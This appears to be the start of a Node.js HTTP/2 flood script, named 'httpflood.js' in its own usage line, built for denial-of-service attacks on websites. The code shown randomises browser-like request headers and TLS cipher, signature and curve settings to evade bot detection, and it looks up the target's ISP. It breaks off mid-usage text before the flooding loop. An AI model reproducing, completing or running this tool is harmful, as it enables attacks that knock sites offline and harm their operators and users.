const net = require("net"); const http2 = require("http2"); const tls = require("tls"); const cluster = require("cluster"); const os = require("os"); const url = require("url"); const crypto = require("crypto"); const dns = require('dns'); const fs = require("fs"); var colors = require("colors"); const util = require('util'); const chalk = require('chalk'); const fetch = require('node-fetch'); const defaultCiphers = crypto.constants.defaultCoreCipherList.split(":"); const ciphers = "GREASE:" + [ defaultCiphers[2], defaultCiphers[1], defaultCiphers[0], ...defaultCiphers.slice(3) ].join(":"); function getRandomTLSCiphersuite() { const tlsCiphersuites = [ 'TLS_AES_128_CCM_8_SHA256', 'TLS_AES_128_CCM_SHA256', 'TLS_AES_256_GCM_SHA384', 'TLS_AES_128_GCM_SHA256', ]; const randomCiphersuite = tlsCiphersuites[Math.floor(Math.random() * tlsCiphersuites.length)]; return randomCiphersuite; } const randomTLSCiphersuite = getRandomTLSCiphersuite(); const lookupPromise = util.promisify(dns.lookup); let isp; async function getIPAndISP(url) { try { const { address } = await lookupPromise(url); const apiUrl = `http://ip-api.com/json/${address}`; const response = await fetch(apiUrl); if (response.ok) { const data = await response.json(); isp = data.isp; console.log(chalk.cyan('\nISP Information:')); console.log(`${chalk.bold('Target URL:')} ${chalk.yellow(url)}`); console.log(`${chalk.bold('ISP:')} ${chalk.magenta(isp)}`); } else { return; } } catch (error) { return; } } const accept_header = [ 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'application/json,text/html;q=0.9,image/avif,image/webp,*/*;q=0.8', 'application/json,application/xml;q=0.9,text/html;q=0.8,*/*;q=0.7', 'application/json;q=0.9,application/xml;q=0.8,*/*;q=0.7', 'text/plain;q=0.9,text/html;q=0.8,*/*;q=0.7', 'application/pdf,text/html;q=0.8,*/*;q=0.7', 'image/avif,image/webp,image/apng,image/png,image/jpeg,*/*;q=0.8', 'text/html,application/xhtml+xml;q=0.8,image/avif,image/webp,*/*;q=0.7', 'text/html,application/xhtml+xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8', '*/*;q=0.8', ]; cache_header = [ 'max-age=0', 'no-cache', 'no-store', 'private', 'must-revalidate', ]; const language_header = [ // English "en-US,en;q=0.8", "en-US,en;q=0.5", "en-US,en;q=0.9", "en-US,en;q=0.7", "en-US,en;q=0.6", // Chinese (Simplified) "zh-CN,zh;q=0.8", "zh-CN,zh;q=0.5", "zh-CN,zh;q=0.9", "zh-CN,zh;q=0.7", "zh-CN,zh;q=0.6", // Chinese (Traditional) "zh-TW,zh;q=0.8", "zh-TW,zh;q=0.5", "zh-TW,zh;q=0.9", // Spanish "es-ES,es;q=0.8", "es-ES,es;q=0.5", "es-ES,es;q=0.9", "es-ES,es;q=0.7", "es-ES,es;q=0.6", // French "fr-FR,fr;q=0.8", "fr-FR,fr;q=0.5", "fr-FR,fr;q=0.9", "fr-FR,fr;q=0.7", "fr-FR,fr;q=0.6", // German "de-DE,de;q=0.8", "de-DE,de;q=0.5", "de-DE,de;q=0.9", "de-DE,de;q=0.7", "de-DE,de;q=0.6", // Italian "it-IT,it;q=0.8", "it-IT,it;q=0.5", "it-IT,it;q=0.9", "it-IT,it;q=0.7", "it-IT,it;q=0.6", // Japanese "ja-JP,ja;q=0.8", "ja-JP,ja;q=0.5", "ja-JP,ja;q=0.9", "ja-JP,ja;q=0.7", "ja-JP,ja;q=0.6", // Korean "ko-KR,ko;q=0.8", "ko-KR,ko;q=0.5", "ko-KR,ko;q=0.9", // Portuguese (Brazil) "pt-BR,pt;q=0.8", "pt-BR,pt;q=0.5", "pt-BR,pt;q=0.9", // Dutch "nl-NL,nl;q=0.8", "nl-NL,nl;q=0.5", "nl-NL,nl;q=0.9", // English + Russian "en-US,en;q=0.8,ru;q=0.6", "en-US,en;q=0.5,ru;q=0.3", "en-US,en;q=0.9,ru;q=0.7", "en-US,en;q=0.7,ru;q=0.5", "en-US,en;q=0.6,ru;q=0.4", // English + Chinese "en-US,en;q=0.8,zh-CN;q=0.6", "en-US,en;q=0.7,zh-TW;q=0.5", // English + Spanish "en-US,en;q=0.8,es-ES;q=0.6", "en-US,en;q=0.7,es-ES;q=0.5", // English + French "en-US,en;q=0.8,fr-FR;q=0.6", "en-US,en;q=0.7,fr-FR;q=0.5", // English + German "en-US,en;q=0.8,de-DE;q=0.6", "en-US,en;q=0.7,de-DE;q=0.5", // English + Korean "en-US,en;q=0.8,ko-KR;q=0.6", // English + Japanese "en-US,en;q=0.8,ja-JP;q=0.6", // English + Portuguese "en-US,en;q=0.8,pt-BR;q=0.6", // English + Dutch "en-US,en;q=0.8,nl-NL;q=0.6", // English + Chinese + Russian "en-US,en;q=0.7,zh-CN;q=0.5,ru;q=0.3", // English + Spanish + French "en-US,en;q=0.7,es-ES;q=0.5,fr-FR;q=0.3", ]; process.setMaxListeners(0); require("events").EventEmitter.defaultMaxListeners = 0; const sigalgs = [ 'ecdsa_secp256r1_sha256', 'ecdsa_secp384r1_sha384', 'ecdsa_secp521r1_sha512', 'rsa_pss_rsae_sha256', 'rsa_pss_rsae_sha384', 'rsa_pss_rsae_sha512', 'rsa_pkcs1_sha256', 'rsa_pkcs1_sha384', 'rsa_pkcs1_sha512', ] let SignalsList = sigalgs.join(':') const ecdhCurve = "GREASE:X25519:x25519:P-256:P-384:P-521:X448"; const secureOptions = crypto.constants.SSL_OP_NO_SSLv2 | crypto.constants.SSL_OP_NO_SSLv3 | crypto.constants.SSL_OP_NO_TLSv1 | crypto.constants.SSL_OP_NO_TLSv1_1 | crypto.constants.ALPN_ENABLED | crypto.constants.SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION | crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE | crypto.constants.SSL_OP_LEGACY_SERVER_CONNECT | crypto.constants.SSL_OP_COOKIE_EXCHANGE | crypto.constants.SSL_OP_PKCS1_CHECK_1 | crypto.constants.SSL_OP_PKCS1_CHECK_2 | crypto.constants.SSL_OP_SINGLE_DH_USE | crypto.constants.SSL_OP_SINGLE_ECDH_USE | crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_NO_TICKET | crypto.constants.SSL_OP_NO_COMPRESSION | crypto.constants.SSL_OP_NO_RENEGOTIATION | crypto.constants.SSL_OP_TLSEXT_PADDING | crypto.constants.SSL_OP_ALL | crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION; if (process.argv.length < 7) { console.log(chalk.bold.blue('Usage:')); console.log(chalk.green(' node httpflood.js